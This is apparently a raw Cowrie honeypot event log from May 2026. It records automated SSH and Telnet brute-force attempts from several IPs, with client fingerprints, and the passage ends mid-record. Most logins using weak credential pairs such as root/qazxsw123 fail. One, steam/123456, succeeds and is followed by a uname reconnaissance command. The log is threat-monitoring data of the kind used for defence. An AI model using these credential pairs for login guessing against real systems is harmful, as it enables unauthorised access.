{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:37:04.094986Z","src_ip":"176.65.139.103","session":"28f66352343c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:37:04.143627Z","src_ip":"176.65.139.103","session":"28f66352343c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"g","password":"g","message":"login attempt [g/g] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:37:04.460267Z","src_ip":"176.65.139.103","session":"28f66352343c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:37:05.545836Z","src_ip":"176.65.139.103","session":"28f66352343c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":56420,"dst_ip":"10.17.0.5","dst_port":22,"session":"9bec9709ef98","protocol":"ssh","message":"New connection: 176.65.139.103:56420 (10.17.0.5:22) [session: 9bec9709ef98]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:37:10.437324Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:37:10.443603Z","src_ip":"176.65.139.103","session":"9bec9709ef98","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:37:10.525582Z","src_ip":"176.65.139.103","session":"9bec9709ef98","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.247.175.159","src_port":10849,"dst_ip":"10.17.0.5","dst_port":23,"session":"d5aba9970e2d","protocol":"telnet","message":"New connection: 91.247.175.159:10849 (10.17.0.5:23) [session: d5aba9970e2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:37:10.723355Z"}
{"eventid":"cowrie.login.failed","username":"yunwei","password":"yunwei","message":"login attempt [yunwei/yunwei] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:37:10.773245Z","src_ip":"176.65.139.103","session":"9bec9709ef98","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:37:11.859172Z","src_ip":"176.65.139.103","session":"9bec9709ef98","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":41610,"dst_ip":"10.17.0.5","dst_port":22,"session":"9500e3687279","protocol":"ssh","message":"New connection: 176.65.139.103:41610 (10.17.0.5:22) [session: 9500e3687279]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:37:16.984611Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:37:16.989201Z","src_ip":"176.65.139.103","session":"9500e3687279","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:37:17.086900Z","src_ip":"176.65.139.103","session":"9500e3687279","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"123456","message":"login attempt [steam/123456] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:37:17.365311Z","src_ip":"176.65.139.103","session":"9500e3687279","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:37:17.572897Z","src_ip":"176.65.139.103","session":"9500e3687279","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:37:17.576122Z","src_ip":"176.65.139.103","session":"9500e3687279","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:37:17.667745Z","src_ip":"176.65.139.103","session":"9500e3687279","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:37:17.672392Z","src_ip":"176.65.139.103","session":"9500e3687279","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":12.899271011352539,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:37:23.622499Z","src_ip":"91.247.175.159","session":"d5aba9970e2d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":46180,"dst_ip":"10.17.0.5","dst_port":22,"session":"5dc5b2b06a86","protocol":"ssh","message":"New connection: 176.65.139.103:46180 (10.17.0.5:22) [session: 5dc5b2b06a86]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:37:23.633447Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:37:23.640838Z","src_ip":"176.65.139.103","session":"5dc5b2b06a86","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:37:23.730676Z","src_ip":"176.65.139.103","session":"5dc5b2b06a86","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kubernetes","password":"kubernetes","message":"login attempt [kubernetes/kubernetes] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:37:23.985153Z","src_ip":"176.65.139.103","session":"5dc5b2b06a86","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:37:25.070554Z","src_ip":"176.65.139.103","session":"5dc5b2b06a86","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.21.145","src_port":19316,"dst_ip":"159.203.135.109","dst_port":22,"session":"c5a3a925eb99","protocol":"ssh","message":"New connection: 141.11.21.145:19316 (159.203.135.109:22) [session: c5a3a925eb99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:37:26.912557Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:37:26.993413Z","src_ip":"141.11.21.145","session":"c5a3a925eb99","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.21.145","src_port":19328,"dst_ip":"159.203.135.109","dst_port":22,"session":"03bf8499940d","protocol":"ssh","message":"New connection: 141.11.21.145:19328 (159.203.135.109:22) [session: 03bf8499940d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:37:27.073991Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:37:27.078240Z","src_ip":"141.11.21.145","session":"03bf8499940d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:37:27.160896Z","src_ip":"141.11.21.145","session":"03bf8499940d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qazxsw123","message":"login attempt [root/qazxsw123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:37:27.426843Z","src_ip":"141.11.21.145","session":"03bf8499940d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:37:28.513439Z","src_ip":"141.11.21.145","session":"03bf8499940d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":46192,"dst_ip":"10.17.0.5","dst_port":22,"session":"8ab0f1a0c945","protocol":"ssh","message":"New connection: 176.65.139.103:46192 (10.17.0.5:22) [session: 8ab0f1a0c945]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:37:30.333128Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:37:30.338280Z","src_ip":"176.65.139.103","session":"8ab0f1a0c945","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:37:30.422579Z","src_ip":"176.65.139.103","session":"8ab0f1a0c945","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin1","password":"123456","message":"login attempt [admin1/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:37:30.689565Z","src_ip":"176.65.139.103","session":"8ab0f1a0c945","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:37:31.849386Z","src_ip":"176.65.139.103","session":"8ab0f1a0c945","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":56064,"dst_ip":"159.203.135.109","dst_port":22,"session":"2fe4ff178956","protocol":"ssh","message":"New connection: 159.203.92.129:56064 (159.203.135.109:22) [session: 2fe4ff178956]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:37:34.354370Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:37:34.358631Z","src_ip":"159.203.92.129","session":"2fe4ff178956","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:37:34.363757Z","src_ip":"159.203.92.129","session":"2fe4ff178956","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"666666","message":"login attempt [ansible/666666] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:37:34.379334Z","src_ip":"159.203.92.129","session":"2fe4ff178956","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:37:35.385515Z","src_ip":"159.203.92.129","session":"2fe4ff178956","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":47464,"dst_ip":"10.17.0.5","dst_port":22,"session":"568c0f3518db","protocol":"ssh","message":"New connection: 176.65.139.103:47464 (10.17.0.5:22) [session: 568c0f3518db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:37:37.320991Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:37:37.325789Z","src_ip":"176.65.139.103","session":"568c0f3518db","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2